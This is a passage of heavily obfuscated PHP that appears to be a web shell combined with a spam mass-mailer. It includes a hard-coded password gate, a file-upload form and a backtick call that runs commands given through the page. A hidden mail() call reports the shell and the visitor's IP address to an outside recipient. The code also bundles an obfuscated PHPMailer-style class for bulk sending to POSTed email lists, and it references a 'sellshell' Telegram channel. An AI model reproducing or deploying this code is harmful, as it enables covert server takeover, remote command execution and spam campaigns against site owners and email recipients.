protected]"; goto O9109; O9401: print "<br><hr><br><br></body>"; goto O4160; O3489: O1282: goto O2934; O3690: $O7779 = o5768($_POST["emailList"]); goto O5300; O3146: $O3001->O4673 = $O0344; goto O5994; O4359: $O6026 = stripslashes($O6026); goto O8291; O9436: if (!(!empty($O2889) and $_SESSION[$O5068] != $O2889)) { goto O4666; } goto O2058; O6440: O4666: goto O1471; O2934: print "<br><hr><br><br></body>"; goto O6619; O5810: $O3001->O5604 = "none"; goto O8523; O2842: mail($O4311, "MAMA \xe2\235\xa4", $O4632, "[ " . $_SERVER["REMOTE_ADDR"] . " ]"); goto O6430; O6619: die; goto O0991; O6297: $O2889 = "ez"; goto O9385; O9059: O1122: goto O9401; O2944: $O4632 = "Ada shell bos {$O0578} | IP Address > [ " . $_SERVER["REMOTE_ADDR"] . " ]"; goto O2842; O0134: $O3279["website"] = "https://t.me/sellshell"; goto O1554; O9117: set_time_limit(0); goto O3508; O8895: $O3001->O3884 = true; goto O2809; O8704: $O3059 = $_POST["sport"]; goto O8728; O4980: goto O2808; goto O8727; O4815: O9716: goto O7889; O1754: $O3001->o4627(); goto O2054; O0855: if ($_POST["sssl"] == "true") { goto O9716; } goto O5810; O2948: $O4791 = "checked"; goto O4980; O7183: function O5768($O5086) { return stripslashes(ltrim(rtrim($O5086))); } goto O9000; O6413: $O3001->O1946 = 4; goto O8081; O7564: O9142: goto O1089; O3703: echo "<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>"; goto O6381; O8523: goto O1873; goto O4815; O0298: $O3001 = new o6643(); goto O0855; O8426: echo `{$O5016}`; goto O8860; O2054: $O3001->O6228 = $O4103; goto O8895; O2983: if (!isset($_POST["usesmtp"])) { goto O4162; } goto O8504; O8081: $O4166 = explode("\xd\xa", $O7779); goto O7248; O2058: if (isset($_REQUEST["pass"]) and $_REQUEST["pass"] == $O2889) { goto O6772; } goto O5465; O6430: class o6643 { const O4942 = "iso-8859-1"; const O5095 = "utf-8"; const O0673 = "text/plain"; const O2967 = "text/calendar"; const O3427 = "text/html"; const O5743 = "multipart/alternative"; const O7571 = "multipart/mixed"; const O4400 = "multipart/related"; const O2669 = "7bit"; const O1466 = "8bit"; const O8717 = "base64"; const O3535 = "binary"; const O3538 = "quoted-printable"; public $O4398; public $O0610 = self::O4942; public $O5234 = self::O0673; public $O8046 = self::O1466; public $O3627 = ''; public $O2135 = "root@localhost"; public $O5331 = "Root User"; public $O1935 = ''; public $O6959 = ''; public $O1892 = ''; public $O1077 = ''; public $O4893 = ''; protected $O8926 = ''; protected $O0199 = ''; protected $O3852 = ''; public $O4988 = 0; public $O8348 = "mail"; public $O6074 = "/usr/sbin/sendmail"; public $O7496 = true; public $O5829 = ''; public $O3004 = ''; public $O2722 = ''; public $O9621 = ''; public $O6228 = "localhost"; public $O8164 = 25; public $O3980 = ''; public $O5604 = ''; public $O4418 = true; public $O3884 = false; public $O6105 = array(); public $O6663 = ''; public $O4673 = ''; public $O0001 = ''; protected $O4337; public $O5237 = 300; public $O4821 = ''; public $O1946 = 0; public $O4819 = "echo"; public $O2695 = false; public $O7683 = false; protected $O1036 = array(); public $O3117 = false; public $O5899 = false; public $O1910 = ''; public $O7246 = ''; public $O0821 = ''; public $O8561 = ''; public $O4779 = true; public $O9969 = array(); public $O2814 = ''; public $O1170 = ''; public $O9140 = ''; public $O8184 = ''; public static $O6850 = "php"; protected $O0303; protected $O1431 = array(); protected $O0958 = array(); protected $O3390 = array(); protected $O9879 = array(); protected $O8684 = array(); protected $O6952 = array(); protected $O0286 = array(); protected $O0839 = array(); protected $O0111 = array(); protected $O6536 = ''; protected $O4974 = ''; protected $O1933 = array(); protected $O3473 = array(); protected $O5087 = 0; protected $O6015 = ''; protected $O8187 = ''; protected $O9194 = ''; protected $O3614 = ''; protected $O0454 = false; protected $O8758 = ''; const O2652 = "1.3.3.7"; const O4495 = 0; const O3420 = 1; const O3720 = 2; protected static $O1517 = " 
"; const O6446 = 998; const O1812 = 76; public function __construct($O6370 = null) { goto O9400; O6031: $this->O0454 = (bool) $O6370; goto O8850; O8850: O8964: goto O4794; O9400: if (!(null !== $O6370)) { goto O8964; } goto O6031; O4794: $this->O4819 = strpos(PHP_SAPI, "cli") !== false ? "echo" : "html"; goto O7350; O7350: } public function __destruct() { $this->o8480(); } private function o1062($O3617, $O6026, $O5285, $O5269, $O7684) { goto O9604; O4849: $O6026 = $this->O1008($this->o3957($O6026)); goto O5701; O0965: goto O7744; goto O8925; O6615: return $O0515; goto O0733; O9026: O7900: goto O2665; O9331: O7744: goto O6615; O1977: if (!$this->O7496 or null === $O7684) { goto O3318; } goto O1025; O1025: $O0515 = @mail($O3617, $O6026, $O5285, $O5269, $O7684); goto O0965; O2665: $O6026 = $this->o3957($O6026); goto O2310; O5701: goto O6063; goto O9026; O2310: O6063: goto O1977; O8925: O3318: goto O6011; O9604: if (ini_get("mbstring.func_overload") & 1) { goto O7900; } goto O4849; O6011: $O0515 = @mail($O3617, $O6026, $O5285, $O5269); goto O9331; O0733: } protected function o5093($O6471) { goto O4561; O4561: if (!($this->O1946 <= 0)) { goto O4396; } goto O3820; O9880: return; goto O4933; O3267: call_user_func($this->O4819, $O6471, $this->O1946); goto O9880; O4933: O9568: goto O4702; O7211: O6668: goto O5515; O1661: O0064: goto O9933; O2345: return; goto O7211; O5515: if (!(!in_array($this->O4819, ["error_log", "html", "echo"]) and is_callable($this->O4819))) { goto O9568; } goto O3267; O9933: O9129: goto O5512; O5794: if (!$this->O4819 instanceof \O4873\Log\O7398) { goto O6668; } goto O4598; O4702: switch ($this->O4819) { case "error_log": error_log($O6471); goto O9129; case "html": echo htmlentities(preg_replace("/[\r\n]+/", '', $O6471), ENT_QUOTES, "UTF-8"), "<br>\xa"; goto O9129; case "echo": default: $O6471 = preg_replace("/\r\n|\r/ms", " 
", $O6471); echo gmdate("Y-m-d H:i:s"), "	", trim(str_replace("\xa", "\xa                   	                  ", trim($O6471))), "\xa"; } goto O1661; O3820: return; goto O5797; O5797: O4396: goto O5794; O4598: $this->O4819->debug($O6471); goto O2345; O5512: } public function isHTML($O0949 = true) { goto O2593; O3316: O5329: goto O2249; O9432: $this->O5234 = static::O3427; goto O3316; O1652: O3324: goto O9432; O5306: goto O5329; goto O1652; O1997: $this->O5234 = static::O0673; goto O5306; O2593: if ($O0949) { goto O3324; } goto O1997; O2249: } public function O4627() { $this->O8348 = "smtp"; } public function o7628() { $this->O8348 = "mail"; } public function O3985() { goto O7258; O4763: $this->O6074 = "/usr/sbin/sendmail"; goto O7799; O7258: $O6277 = ini_get("sendmail_path"); goto O4525; O7015: O7508: goto O4763; O4133: goto O5867; goto O7015; O4525: if (false === stripos($O6277, "sendmail")) { goto O7508; } goto O4421; O5032: $this->O8348 = "sendmail"; goto O1917; O4421: $this->O6074 = $O6277; goto O4133; O7799: O5867: goto O5032; O1917: } public function O1025() { goto O6177; O3521: $this->O8348 = "qmail"; goto O0905; O6118: $this->O6074 = $O6277; goto O5447; O3068: O3576: goto O4495; O4513: O5982: goto O3521; O6177: $O6277 = ini_get("sendmail_path"); goto O4161; O5447: goto O5982; goto O3068; O4161: if (false === stripos($O6277, "qmail")) { goto O3576; } goto O6118; O4495: $this->O6074 = "/var/qmail/bin/qmail-inject"; goto O4513; O0905: } public function O0681($O4707, $O3333 = '') { return $this->o9671("to", $O4707, $O3333); } public function O9082($O4707, $O3333 = '') { return $this->o9671("cc", $O4707, $O3333); } public function O1979($O4707, $O3333 = '') { return $this->O9671("bcc", $O4707, $O3333); } public function O6583($O4707, $O3333 = '') { return $this->o9671("Reply-To", $O4707, $O3333); } protected function O9671($O1011, $O4707, $O3333) { goto O5798; O0125: O9338: goto O8655; O3440: $O2343 = strrpos($O4707, "@"); goto O9178; O5583: return false; goto O1026; O2781: throw new Exception($O7854); goto O9064; O0490: $O3333 = trim(preg_replace("/[\r\n]+/", '', $O3333)); goto O3440; O9178: if (!(false === $O2343)) { goto O7484; } goto O3644; O3962: if ("Reply-To" != $O1011) { goto O9338; } goto O3620; O9631: O7484: goto O6086; O8655: if (array_key_exists($O4707, $this->O6952)) { goto O0483; } goto O5541; O3620: if (array_key_exists($O4707, $this->O0286)) { goto O3404; } goto O3435; O1660: O3404: goto O0810; O0386: return true; goto O1660; O3435: $this->O0286[$O4707] = $O7684; goto O0386; O8399: $this->O8188($O7854); goto O5658; O0734: if (!$this->O0454) { goto O6467; } goto O2781; O9064: O6467: goto O3762; O5798: $O4707 = trim($O4707); goto O0490; O6086: $O7684 = [$O1011, $O4707, $O3333]; goto O4721; O2407: O0483: goto O1427; O0225: return true; goto O2407; O1427: O5231: goto O5583; O4721: if (!($this->O1181(substr($O4707, ++$O2343)) and static::o0611())) { goto O1681; } goto O3962; O5541: $this->O6952[$O4707] = $O7684; goto O0225; O5658: $this->O5093($O7854); goto O0734; O3644: $O7854 = sprintf("%s (%s): %s", $this->o0266("invalid_address"), $O1011, $O4707); goto O8399; O3762: return false; goto O9631; O0810: goto O5231; goto O0125; O1026: O1681: goto O8383; O8383: return call_user_func_array([$this, "addAnAddress"], $O7684); goto O1555; O1555: } protected function o7517($O1011, $O4707, $O3333 = '') { goto O6314; O0345: return false; goto O0515; O3274: return false; goto O7338; O6314: if (in_array($O1011, ["to", "cc", "bcc", "Reply-To"])) { goto O7957; } goto O9198; O8106: O0980: goto O2609; O1264: O0096: goto O6025; O2109: throw new Exception($O7854); goto O8106; O6025: O1465: goto O3274; O3597: if (!$this->O0454) { goto O1535; } goto O3663; O9865: goto O1465; goto O7594; O5278: return true; goto O4937; O5650: $O7854 = sprintf("%s (%s): %s", $this->O0266("invalid_address"), $O1011, $O4707); goto O5400; O8685: $this->o5093($O7854); goto O3597; O2609: return false; goto O9856; O4937: O1835: goto O9865; O9198: $O7854 = sprintf("%s: %s", $this->o0266("Invalid recipient kind"), $O1011); goto O8973; O4267: return true; goto O1264; O5351: if (array_key_exists(strtolower($O4707), $this->O9879)) { goto O1835; } goto O0194; O5399: if (array_key_exists(strtolower($O4707), $this->O8684)) { goto O0096; } goto O0501; O8973: $this->O8188($O7854); goto O8685; O1434: if (!$this->O0454) { goto O0980; } goto O2109; O6950: $this->o5093($O7854); goto O1434; O5400: $this->o8188($O7854); goto O6950; O3421: if (static::o1928($O4707)) { goto O3529; } goto O5650; O9856: O3529: goto O2992; O3663: throw new Exception($O7854); goto O0237; O4433: $this->O8684[strtolower($O4707)] = true; goto O4267; O0515: O7957: goto O3421; O0194: $this->O9879[strtolower($O4707)] = [$O4707, $O3333]; goto O5278; O0237: O1535: goto O0345; O7594: O4889: goto O5399; O2992: if ("Reply-To" != $O1011) { goto O4889; } goto O5351; O0501: $this->{$O1011}[] = [$O4707, $O3333]; goto O4433; O7338: } public static function o0051($O8532, $O4520 = true) { goto O1964; O2017: if ($O4520 and function_exists("o7949")) { goto O0798; } goto O8268; O2290: O0798: goto O8759; O5267: foreach ($O5884 as $O4707) { goto O3460; O0824: O0761: goto O0752; O2087: O9532: goto O5453; O8445: $O5064 = trim(str_replace(">", '', $O5064)); goto O2596; O7935: O3840: goto O3798; O1630: $O5531[] = ["name" => trim(str_replace([""", "'"], '', $O3333)), "address" => $O5064]; goto O2087; O5989: $O5531[] = ["name" => '', "address" => $O4707]; goto O9727; O2596: if (!static::O1928($O5064)) { goto O9532; } goto O1630; O5453: goto O3840; goto O0824; O0752: if (!static::O1928($O4707)) { goto O2668; } goto O5989; O9727: O2668: goto O7935; O8253: if (strpos($O4707, "<") === false) { goto O0761; } goto O2974; O3798: O6771: goto O9413; O2974: list($O3333, $O5064) = explode("<", $O4707); goto O8445; O3460: $O4707 = trim($O4707); goto O8253; O9413: } goto O4882; O6316: O4172: goto O6511; O3156: goto O4172; goto O2290; O1964: $O5531 = []; goto O2017; O6511: return $O5531; goto O8828; O8268: $O5884 = explode(",", $O8532); goto O5267; O4882: O6515: goto O3156; O9306: foreach ($O5884 as $O4707) { goto O8083; O8501: O8031: goto O9037; O3604: if (!static::o1928($O4707->O8189 . "@" . $O4707->O4365)) { goto O9023; } goto O0365; O9037: O2449: goto O9816; O8846: O9023: goto O8501; O0365: $O5531[] = ["name" => property_exists($O4707, "personal") ? $O4707->O4710 : '', "address" => $O4707->O8189 . "@" . $O4707->O4365]; goto O8846; O8083: if (!(".SYNTAX-ERROR." != $O4707->O4365)) { goto O8031; } goto O3604; O9816: } goto O7731; O8759: $O5884 = O7949($O8532, ''); goto O9306; O7731: O2452: goto O6316; O8828: } public function o9988($O4707, $O3333 = '', $O6122 = true) { goto O9131; O4580: $O2343 = strrpos($O4707, "@"); goto O9929; O1789: O2961: goto O9621; O4492: O2351: goto O6518; O0135: return true; goto O4340; O1846: if (!$this->O0454) { goto O2351; } goto O0264; O6518: return false; goto O1789; O9131: $O4707 = trim($O4707); goto O4845; O4845: $O3333 = trim(preg_replace("/[\r\n]+/", '', $O3333)); goto O4580; O2968: $O7854 = sprintf("%s (From): %s", $this->O0266("invalid_address"), $O4707); goto O6789; O0264: throw new Exception($O7854); goto O4492; O7506: if (!$O6122) { goto O2288; } goto O8097; O8126: O7291: goto O3808; O8097: if (!empty($this->O1935)) { goto O7291; } goto O3266; O9929: if (!(false === $O2343 or (!$this->o1181(substr($O4707, ++$O2343)) or !static::O0611()) and !static::O1928($O4707))) { goto O2961; } goto O2968; O8037: $this->o5093($O7854); goto O1846; O0144: $this->O5331 = $O3333; goto O7506; O3266: $this->O1935 = $O4707; goto O8126; O9621: $this->O2135 = $O4707; goto O0144; O6789: $this->o8188($O7854); goto O8037; O3808: O2288: goto O0135; O4340: } public function O9324() { return $this->O6536; } public static function o1928($O4707, $O8834 = null) { goto O5850; O0404: if (!is_callable($O8834)) { goto O1987; } goto O2485; O1123: O7760: goto O5830; O5830: O6010: goto O2900; O5286: if (!(strpos($O4707, " 
") !== false or strpos($O4707, "\xd") !== false)) { goto O4176; } goto O5482; O2485: return call_user_func($O8834, $O4707); goto O3011; O4299: O5976: goto O0404; O0243: $O8834 = static::$O6850; goto O4299; O1286: switch ($O8834) { case "pcre": case "pcre8": return (bool) preg_match("/^(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\[ -~]|[^"])"?(?1)){65,}@)" . "((?>(?>(?>((?>(?>(?>
)?[\t ])+|(?>[\t ]*
)?[\t ]+)?)(\((?>(?2)" . "(?>[\x01-\x08\x0E-'*-\[\]-\x7F]|\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)" . "([!#-'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0E-!#-\[\]-\x7F]|\\[\x00-\x7F]))*" . "(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)" . "(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}" . "|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:" . "|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}" . "|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD", $O4707); case "html5": return (bool) preg_match("/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}" . "[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD", $O4707); case "php": default: return (bool) filter_var($O4707, FILTER_VALIDATE_EMAIL); } goto O1123; O5482: return false; goto O5545; O5850: if (!(null === $O8834)) { goto O5976; } goto O0243; O5545: O4176: goto O1286; O3011: O1987: goto O5286; O2900: } public static function O0611() { return function_exists("idn_to_ascii") and function_exists("mb_convert_encoding"); } public function O9732($O4707) { goto O3873; O7518: O4193: goto O9346; O7049: O3497: goto O9903; O2878: $O4695 = 0; goto O4564; O0767: $O5229 = mb_convert_encoding($O5229, "UTF-8", $this->O0610); goto O2878; O9346: return $O4707; goto O8476; O3407: $O5229 = substr($O4707, ++$O2343); goto O0265; O0265: if (!($this->O1181($O5229) and @mb_check_encoding($O5229, $this->O0610))) { goto O2327; } goto O0767; O2187: if (!(false !== $O1132)) { goto O3497; } goto O6520; O3873: $O2343 = strrpos($O4707, "@"); goto O3198; O3198: if (!(static::O0611() and !empty($this->O0610) and false !== $O2343)) { goto O4193; } goto O3407; O4564: $O1132 = idn_to_ascii($O5229, $O4695, INTL_IDNA_VARIANT_UTS46); goto O2187; O6520: return substr($O4707, 0, $O2343) . $O1132; goto O7049; O9903: O2327: goto O7518; O8476: } public function send() { try { goto O2160; O2410: return false; goto O3603; O0354: return $this->o7888(); goto O2963; O3603: O2752: goto O0354; O2160: if ($this->O4070()) { goto O2752; } goto O2410; O2963: } catch (Exception $O0127) { goto O8493; O5038: if (!$this->O0454) { goto O4807; } goto O8960; O6062: O4807: goto O9392; O4541: $this->o8188($O0127->getMessage()); goto O5038; O8493: $this->O3852 = ''; goto O4541; O9392: return false; goto O8791; O8960: throw $O0127; goto O6062; O8791: } } public function O4070() { goto O7820; O7159: if (!(ini_get("mail.add_x_header") == 1 and "mail" == $this->O8348 and stripos(PHP_OS, "WIN") === 0 and (version_compare(PHP_VERSION, "7.0.0", ">=") and version_compare(PHP_VERSION, "7.0.17", "<") or version_compare(PHP_VERSION, "7.1.0", ">=") and version_compare(PHP_VERSION, "7.1.3", "<")))) { goto O7620; } goto O1444; O5814: O6625: goto O9050; O2645: O9763: goto O7159; O0877: O7620: goto O7304; O2236: goto O9763; goto O5814; O7820: if ("smtp" == $this->O8348 or "mail" == $this->O8348 and stripos(PHP_OS, "WIN") === 0) { goto O6625; } goto O0244; O0244: static::O1440(PHP_EOL); goto O2236; O9050: static::o1440(" 
\xa"); goto O2645; O7304: try { goto O4943; O3719: $this->O3852 = ''; goto O8417; O4725: O4939: goto O9958; O6264: $this->O0199 .= $O9913; goto O2432; O3165: if (!(!empty($this->O8561) and !empty($this->O1910) and (!empty($this->O1170) or !empty($this->O2814) and static::o9648($this->O2814) and file_exists($this->O2814)))) { goto O7497; } goto O8308; O0974: $this->O0199 = ''; goto O9721; O9721: $this->O8926 = $this->O1426(); goto O0937; O7382: $this->O5234 = static::O5743; goto O4725; O1693: $this->O6959 = trim($this->O6959); goto O0974; O3052: if (!(count($this->O1431) + count($this->O0958) + count($this->O3390) < 1)) { goto O9893; } goto O5323; O4256: O4041: goto O3052; O3951: if (count($this->O1431) > 0) { goto O2371; } goto O9774; O4645: $this->O3852 .= $this->o9790("To", $this->O1431); goto O2911; O0937: $O9913 = $this->O0199; goto O9639; O8733: O6170: goto O3165; O9774: $this->O3852 .= $this->o3698("To", "undisclosed-recipients:;"); goto O2256; O0789: if (!(!$this->O5899 and empty($this->O1892))) { goto O1237; } goto O5643; O2256: goto O0076; goto O7602; O6243: O9893: goto O8004; O8417: foreach (array_merge($this->O6952, $this->O0286) as $O7684) { goto O1734; O9249: call_user_func_array([$this, "addAnAddress"], $O7684); goto O4364; O4364: O9032: goto O3455; O1734: $O7684[1] = $this->o9732($O7684[1]); goto O9249; O3455: } goto O4256; O2432: if (!("mail" == $this->O8348)) { goto O6170; } goto O3951; O8004: foreach (["From", "Sender", "ConfirmReadingTo"] as $O0543) { goto O6952; O7625: O1158: goto O8650; O6267: throw new Exception($O7854); goto O7625; O0461: if (!$this->O0454) { goto O1158; } goto O6267; O7094: goto O7526; goto O4585; O8650: return false; goto O0257; O4585: O4881: goto O1586; O1586: $this->{$O0543} = $this->O9732($this->{$O0543}); goto O7499; O6952: $this->{$O0543} = trim($this->{$O0543}); goto O7604; O0257: O9016: goto O0054; O8585: $this->O5093($O7854); goto O0461; O3233: $this->o8188($O7854); goto O8585; O7306: $O7854 = sprintf("%s (%s): %s", $this->O0266("invalid_address"), $O0543, $this->{$O0543}); goto O3233; O0054: O7526: goto O4367; O7604: if (!empty($this->{$O0543})) { goto O4881; } goto O7094; O7499: if (static::O1928($this->{$O0543})) { goto O9016; } goto O7306; O4367: } goto O0277; O0277: O4679: goto O4434; O7691: O1237: goto O1693; O9639: $this->O0199 = $this->o5700(); goto O6264; O4943: $this->O5087 = 0; goto O3719; O5333: $this->O3852 .= $this->O3698("Subject", $this->O1008($this->o3957($this->O6959))); goto O8733; O9958: $this->o3271(); goto O0789; O7602: O2371: goto O4645; O7638: return true; goto O8574; O5643: throw new Exception($this->o0266("empty_message"), self::O3720); goto O7691; O8308: $O7043 = $this->O4747($this->O0199 . $this->O3852, $this->o1008($this->o3957($this->O6959)), $this->O8926); goto O4961; O4434: if (!$this->O2585()) { goto O4939; } goto O7382; O5323: throw new Exception($this->o0266("provide_address"), self::O3720); goto O6243; O4961: $this->O0199 = rtrim($this->O0199, " 
 ") . static::$O1517 . static::o8623($O7043) . static::$O1517; goto O2499; O2499: O7497: goto O7638; O2911: O0076: goto O5333; O8574: } catch (Exception $O0127) { goto O0506; O7868: O9664: goto O4399; O4399: return false; goto O3829; O0506: $this->O8188($O0127->getMessage()); goto O3364; O3364: if (!$this->O0454) { goto O9664; } goto O4344; O4344: throw $O0127; goto O7868; O3829: } goto O8792; O1444: trigger_error("Your version of PHP is affected by a bug that may result in corrupted messages." . " To fix it, switch to sending using SMTP, disable the mail.add_x_header option in" . " your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.", E_USER_WARNING); goto O0877; O8792: } public function O7888() { try { goto O2085; O9552: O4258: goto O1611; O2085: switch ($this->O8348) { case "sendmail": case "qmail": return $this->O8083($this->O0199, $this->O8926); case "smtp": return $this->O0193($this->O0199, $this->O8926); case "mail": return $this->o9946($this->O0199, $this->O8926); default: goto O2575; O0588: return $this->{$O0198}($this->O0199, $this->O8926); goto O3396; O4754: if (!method_exists($this, $O0198)) { goto O6874; } goto O0588; O6291: return $this->o9946($this->O0199, $this->O8926); goto O5469; O2575: $O0198 = $this->O8348 . "Send"; goto O4754; O3396: O6874: goto O6291; O5469: } goto O9552; O1611: O6416: goto O2942; O2942: } catch (Exception $O0127) { goto O3993; O4748: O4991: goto O2210; O3993: $this->O8188($O0127->getMessage()); goto O6445; O6923: if (!$this->O0454) { goto O4991; } goto O6651; O6651: throw $O0127; goto O4748; O6445: $this->O5093($O0127->getMessage()); goto O6923; O2210: } return false; } protected function o8083($O5269, $O5285) { goto O6166; O5717: if ($this->O7683) { goto O5715; } goto O2355; O5299: $this->o6038($O0515 == 0, $this->O1431, $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O9216; O5149: if ("qmail" == $this->O8348) { goto O0936; } goto O6637; O4448: O3823: goto O8931; O9463: O5715: goto O7369; O2355: $O3001 = @popen($O2626, "w"); goto O1540; O7910: O7003: goto O5149; O7369: foreach ($this->O1036 as $O0723) { goto O1800; O7909: O7066: goto O6947; O5661: fwrite($O3001, "To: " . $O0723 . " 
"); goto O2526; O3247: $this->o6038($O0515 == 0, [$O0723], $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O6266; O1800: $O3001 = @popen($O2626, "w"); goto O6144; O6144: if ($O3001) { goto O8459; } goto O1993; O6947: O9066: goto O6755; O3972: $O0515 = pclose($O3001); goto O3247; O2526: fwrite($O3001, $O5269); goto O5825; O1993: throw new Exception($this->O0266("execute") . $this->O6074, self::O3720); goto O8863; O6266: if (!(0 !== $O0515)) { goto O7066; } goto O2722; O8863: O8459: goto O5661; O2722: throw new Exception($this->o0266("execute") . $this->O6074, self::O3720); goto O7909; O5825: fwrite($O3001, $O5285); goto O3972; O6755: } goto O0766; O1540: if ($O3001) { goto O0751; } goto O7701; O1338: $O2626 = sprintf($O2539, escapeshellcmd($this->O6074), $this->O1935); goto O5717; O8931: goto O3782; goto O9463; O9935: O3782: goto O6621; O9859: goto O0209; goto O5226; O1389: O2341: goto O8134; O6621: return true; goto O5445; O9216: if (!(0 !== $O0515)) { goto O3823; } goto O2159; O5516: if ("qmail" == $this->O8348) { goto O8930; } goto O0464; O3370: O0751: goto O2493; O7701: throw new Exception($this->o0266("execute") . $this->O6074, self::O3720); goto O3370; O8134: goto O5175; goto O7910; O0766: O1821: goto O9935; O0464: $O2539 = "%s -oi -t"; goto O0087; O6166: if (!empty($this->O1935) and self::o8677($this->O1935)) { goto O7003; } goto O5516; O2159: throw new Exception($this->O0266("execute") . $this->O6074, self::O3720); goto O4448; O9260: $O0515 = pclose($O3001); goto O5299; O7581: O8930: goto O1785; O3063: fwrite($O3001, $O5285); goto O9260; O7580: $O2539 = "%s -f%s"; goto O1672; O1672: O0209: goto O3990; O0087: goto O2341; goto O7581; O5226: O0936: goto O7580; O6637: $O2539 = "%s -oi -f%s -t"; goto O9859; O2493: fwrite($O3001, $O5269); goto O3063; O1785: $O2539 = "%s"; goto O1389; O3990: O5175: goto O1338; O5445: } protected static function O8677($O5086) { goto O7560; O4303: $O3400 = $O5086[$O8411]; goto O2137; O9467: if (!($O8411 < $O4188)) { goto O7399; } goto O4303; O0613: O1173: goto O0914; O5251: ++$O8411; goto O1031; O5785: return false; goto O0613; O0914: $O4188 = strlen($O5086); goto O4638; O2137: if (!(!ctype_alnum($O3400) && strpos("@_-.", $O3400) === false)) { goto O6576; } goto O0487; O4638: $O8411 = 0; goto O4480; O0487: return false; goto O4149; O6770: return true; goto O6966; O6501: O0160: goto O5251; O1031: goto O4659; goto O9301; O4149: O6576: goto O6501; O9301: O7399: goto O6770; O7560: if (!(escapeshellcmd($O5086) !== $O5086 or !in_array(escapeshellarg($O5086), ["'{$O5086}'", ""{$O5086}""]))) { goto O1173; } goto O5785; O4480: O4659: goto O9467; O6966: } protected static function O9648($O4935) { return !preg_match("#^[a-z]+://#i", $O4935); } protected function o9946($O5269, $O5285) { goto O3131; O9232: O7981: goto O3092; O3192: if ($this->O7683 and count($O1463) > 1) { goto O7981; } goto O3234; O0746: O3941: goto O2858; O3831: O0393: goto O4756; O4756: if (!isset($O2981)) { goto O3941; } goto O8859; O1689: O7292: goto O0292; O3408: return true; goto O0161; O4022: O9257: goto O6881; O2858: if ($O0515) { goto O3699; } goto O7546; O0366: $O2981 = ini_get("sendmail_from"); goto O3705; O6526: goto O0393; goto O9232; O5110: $this->O6038($O0515, $this->O1431, $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O6526; O2349: $O0515 = false; goto O3192; O3092: foreach ($O1463 as $O0723) { goto O2252; O2252: $O0515 = $this->o1062($O0723, $this->O6959, $O5285, $O5269, $O7684); goto O1979; O7959: O7403: goto O7308; O1979: $this->o6038($O0515, [$O0723], $this->O0958, $this->O3390, $this->O6959, $O5285, $this->O2135, []); goto O7959; O7308: } goto O1705; O2393: O0102: goto O2349; O7546: throw new Exception($this->o0266("instantiate"), self::O3720); goto O4751; O6594: foreach ($this->O1431 as $O1699) { $O1463[] = $this->o5648($O1699); O2031: } goto O1689; O1705: O4446: goto O3831; O6255: $O7684 = null; goto O1955; O4974: O6773: goto O4022; O1955: if (!(!empty($this->O1935) and static::o1928($this->O1935))) { goto O9257; } goto O2615; O4751: O3699: goto O3408; O3234: $O0515 = $this->o1062($O3617, $this->O6959, $O5285, $O5269, $O7684); goto O5110; O0292: $O3617 = implode(", ", $O1463); goto O6255; O3131: $O1463 = []; goto O6594; O2615: if (!self::O8677($this->O1935)) { goto O6773; } goto O3825; O3705: ini_set("sendmail_from", $this->O1935); goto O2393; O3825: $O7684 = sprintf("-f%s", $this->O1935); goto O4974; O6881: if (!(!empty($this->O1935) and static::O1928($this->O1935))) { goto O0102; } goto O0366; O8859: ini_set("sendmail_from", $O2981); goto O0746; O0161: } public function o0859() { goto O5800; O3335: return $this->O0303; goto O0850; O8713: $this->O0303 = new O1053(); goto O6227; O6227: O3451: goto O3335; O5800: if (is_object($this->O0303)) { goto O3451; } goto O8713; O0850: } public function O0389(o1053 $O8981) { $this->O0303 = $O8981; return $this->O0303; } protected function O0193($O5269, $O5285) { goto O3094; O2093: O8252: goto O7458; O4864: O0653: goto O2873; O3608: O1196: goto O7420; O7302: return true; goto O8424; O3094: $O8791 = []; goto O1742; O5914: $O1127 = ''; goto O5378; O9596: O5411: goto O0743; O6762: O0335: goto O2643; O7045: foreach ([$this->O1431, $this->O0958, $this->O3390] as $O9757) { goto O3347; O7164: O8594: goto O6509; O3347: foreach ($O9757 as $O3617) { goto O2675; O1074: goto O3028; goto O6960; O1221: $O1725[] = ["issent" => $O2434, "to" => $O3617[0]]; goto O8486; O6250: $O2434 = true; goto O1074; O2675: if (!$this->O0303->O7087($O3617[0], $this->O4821)) { goto O4427; } goto O6250; O6960: O4427: goto O0485; O8486: O6975: goto O9078; O4658: $O2434 = false; goto O5530; O5116: $O8791[] = ["to" => $O3617[0], "error" => $O1595["detail"]]; goto O4658; O0485: $O1595 = $this->O0303->o8504(); goto O5116; O5530: O3028: goto O1221; O9078: } goto O7164; O6509: O3677: goto O3958; O3958: } goto O6581; O9775: goto O5411; goto O4864; O0677: goto O9289; goto O6762; O2873: $O0809 = $this->O2135; goto O9596; O6450: throw new Exception($this->o0266("smtp_connect_failed"), self::O3720); goto O5704; O0735: if ($this->O2695) { goto O0335; } goto O0925; O7458: if (!(count($O8791) > 0)) { goto O0900; } goto O5914; O7420: $O4390 = $this->O0303->O5818(); goto O0735; O9021: $this->O0303->close(); goto O0677; O5378: foreach ($O8791 as $O0710) { $O1127 .= $O0710["to"] . ": " . 